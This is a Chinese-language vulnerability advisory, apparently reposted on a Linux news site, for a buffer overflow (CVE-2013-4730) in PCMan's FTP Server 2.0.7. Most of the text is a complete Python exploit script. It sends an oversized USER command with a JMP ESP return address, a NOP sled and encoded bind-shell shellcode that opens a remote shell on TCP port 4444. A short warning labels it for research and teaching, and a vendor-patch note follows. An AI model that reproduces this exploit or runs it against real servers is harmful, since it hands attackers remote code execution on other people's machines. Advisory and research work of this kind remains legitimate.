PCMan's FTP Server 2.0.7缓冲区溢出漏洞

文章由LinuxBoy分享于2019-04-02 01:04:04热评（278）

PCMan's FTP Server 2.0.7缓冲区溢出漏洞

发布日期：2013-06-27
更新日期：2014-05-16

受影响系统：
PCMan PCMan FTP Server 2.0.7
描述：
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BUGTRAQ ID: 65289,65299
CVE(CAN) ID: CVE-2013-4730

PCMan's FTP Server是简单易于的基础FTP服务器。

PCMan's FTP Server 2.0.7在实现上存在缓冲区溢出漏洞，此漏洞源于处理精心构造的USER, PASS, STOR, ABOR, CWD命令时，没有正确验证用户提供的输入，这可使远程攻击者造成缓冲区溢出，导致拒绝服务或执行任意代码。

<*来源：Jacob Holcomb

链接：http://osvdb.org/show/osvdb/94624
*>

测试方法：
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警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
#!/usr/bin/env python

import signal
from time import sleep
from socket import *
from sys import exit, exc_info

#
# Title************************PCMan FTP Server v2.0.7 Remote Root Shell Exploit - USER Command
# Discovered and Reported******June 2013
# Discovered/Exploited By******Jacob Holcomb/Gimppy, Security Analyst @ Independent Security Evaluators
# Exploit/Advisory*************http://infosec42.blogspot.com/
# Software*********************PCMan FTP Server v2.0.7 (Listens on TCP/21)
# Tested Commands*************USER (Other commands were not tested and may be vulnerable)
# CVE**************************PCMan FTP Server v2.0.7 Buffer Overflow: Pending
#

def sigHandle(signum, frm): # Signal handler

print "\n[!!!] Cleaning up the exploit... [!!!]\n"
sleep(1)
exit(0)

def targServer():

while True:
try:
server = inet_aton(raw_input("\n[*] Please enter the IPv4 address of the PCMan FTP Server:\n\n>"))
server = inet_ntoa(server)
break
except:
print "\n\n[!!!] Error: Please enter a valid IPv4 address. [!!!]\n\n"
sleep(1)
continue

return server

def main():

print ("""\n [*] Title************************PCMan FTP Server v2.0.7 Remote Root Shell Exploit - USER Command
[*] Discovered and Reported******June 2013
[*] Discovered/Exploited By******Jacob Holcomb/Gimppy, Security Analyst @ Independent Security Evaluators
[*] Exploit/Advisory*************http://infosec42.blogspot.com/
[*] Software*********************PCMan FTP Server v2.0.7 (Listens on TCP/21)
[*] Tested Commands*************USER (Other commands were not tested and may be vulnerable)
[*] CVE**************************PCMan FTP Server v2.0.7 Buffer Overflow: Pending""")
signal.signal(signal.SIGINT, sigHandle) #Setting signal handler for ctrl + c
victim = targServer()
port = int(21)
Cmd = "USER " #Vulnerable command
JuNk = "\x42" * 2004
# KERNEL32.dll 7CA58265 - JMP ESP
ret = "\x65\x82\xA5\x7C"
NOP = "\x90" * 50

#348 Bytes Bind Shell Port TCP/4444
#msfpayload windows/shell_bind_tcp EXITFUNC=thread LPORT=4444 R |
#msfencode -e x86/shikata_ga_nai -c 1 -b "\x0d\x0a\x00\xf1" R
shellcode = "\xdb\xcc\xba\x40\xb6\x7d\xba\xd9\x74\x24\xf4\x58\x29\xc9"
shellcode += "\xb1\x50\x31\x50\x18\x03\x50\x18\x83\xe8\xbc\x54\x88\x46"
shellcode += "\x56\x72\x3e\x5f\x5f\x7b\x3e\x60\xff\x0f\xad\xbb\xdb\x84"
shellcode += "\x6b\xf8\xa8\xe7\x76\x78\xaf\xf8\xf2\x37\xb7\x8d\x5a\xe8"
shellcode += "\xc6\x7a\x2d\x63\xfc\xf7\xaf\x9d\xcd\xc7\x29\xcd\xa9\x08"
shellcode += "\x3d\x09\x70\x42\xb3\x14\xb0\xb8\x38\x2d\x60\x1b\xe9\x27"
shellcode += "\x6d\xe8\xb6\xe3\x6c\x04\x2e\x67\x62\x91\x24\x28\x66\x24"
shellcode += "\xd0\xd4\xba\xad\xaf\xb7\xe6\xad\xce\x84\xd7\x16\x74\x80"
shellcode += "\x54\x99\xfe\xd6\x56\x52\x70\xcb\xcb\xef\x31\xfb\x4d\x98"
shellcode += "\x3f\xb5\x7f\xb4\x10\xb5\xa9\x22\xc2\x2f\x3d\x98\xd6\xc7"
shellcode += "\xca\xad\x24\x47\x60\xad\x99\x1f\x43\xbc\xe6\xdb\x03\xc0"
shellcode += "\xc1\x43\x2a\xdb\x88\xfa\xc1\x2c\x57\xa8\x73\x2f\xa8\x82"
shellcode += "\xeb\xf6\x5f\xd6\x46\x5f\x9f\xce\xcb\x33\x0c\xbc\xb8\xf0"
shellcode += "\xe1\x01\x6d\x08\xd5\xe0\xf9\xe7\x8a\x8a\xaa\x8e\xd2\xc6"
shellcode += "\x24\x35\x0e\x99\x73\x62\xd0\x8f\x11\x9d\x7f\x65\x1a\x4d"
shellcode += "\x17\x21\x49\x40\x01\x7e\x6e\x4b\x82\xd4\x6f\xa4\x4d\x32"
shellcode += "\xc6\xc3\xc7\xeb\x27\x1d\x87\x47\x83\xf7\xd7\xb8\xb8\x90"
shellcode += "\xc0\x40\x78\x19\x58\x4c\x52\x8f\x99\x62\x3c\x5a\x02\xe5"
shellcode += "\xa8\xf9\xa7\x60\xcd\x94\x67\x2a\x24\xa5\x01\x2b\x5c\x71"
shellcode += "\x9b\x56\x91\xb9\x68\x3c\x2f\x7b\xa2\xbf\x8d\x50\x2f\xb2"
shellcode += "\x6b\x91\xe4\x66\x20\x89\x88\x86\x85\x5c\x92\x02\xad\x9f"
shellcode += "\xba\xb6\x7a\x32\x12\x18\xd5\xd8\x95\xcb\x84\x49\xc7\x14"
shellcode += "\xf6\x1a\x4a\x33\xf3\x14\xc7\x3b\x2d\xc2\x17\x3c\xe6\xec"
shellcode += "\x38\x48\x5f\xef\x3a\x8b\x3b\xf0\xeb\x46\x3c\xde\x7c\x88"
shellcode += "\x0c\x3f\x1c\x05\x6f\x16\x22\x79"

sploit = Cmd + JuNk + ret + NOP + shellcode
sploit += "\x42" * (2992 - len(NOP + shellcode)) + "\r\n"

try:
print "\n [*] Creating network socket."
net_sock = socket(AF_INET, SOCK_STREAM)
except:
print "\n [!!!] There was an error creating the network socket. [!!!]\n\n%s\n" % exc_info()
sleep(1)
exit(0)

try:
print " [*] Connecting to PCMan FTP Server @ %s on port TCP/%d." % (victim, port)
net_sock.connect((victim, port))
except:
print "\n [!!!] There was an error connecting to %s. [!!!]\n\n%s\n" % (victim, exc_info())
sleep(1)
exit(0)

try:
print """ [*] Attempting to exploit the FTP USER command.
[*] Sending 1337 ro0t Sh3ll exploit to %s on TCP port %d.
[*] Payload Length: %d bytes.""" % (victim, port, len(sploit))
net_sock.send(sploit)
sleep(1)
except:
print "\n [!!!] There was an error sending the 1337 ro0t Sh3ll exploit to %s [!!!]\n\n%s\n" % (victim, exc_info())
sleep(1)
exit(0)

try:
print """ [*] 1337 ro0t Sh3ll exploit was sent! Fingers crossed for code execution!
[*] Closing network socket. Press ctrl + c repeatedly to force exploit cleanup.\n"""
net_sock.close()
except:
print "\n [!!!] There was an error closing the network socket. [!!!]\n\n%s\n" % exc_info()
sleep(1)
exit(0)

if __name__ == "__main__":
main()

建议：
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厂商补丁：

PCMan
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

https://files.secureserver.net/1sMltFOsytirTG

本文永久更新链接地址：

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PCMan's FTP Server 2.0.7缓冲区溢出漏洞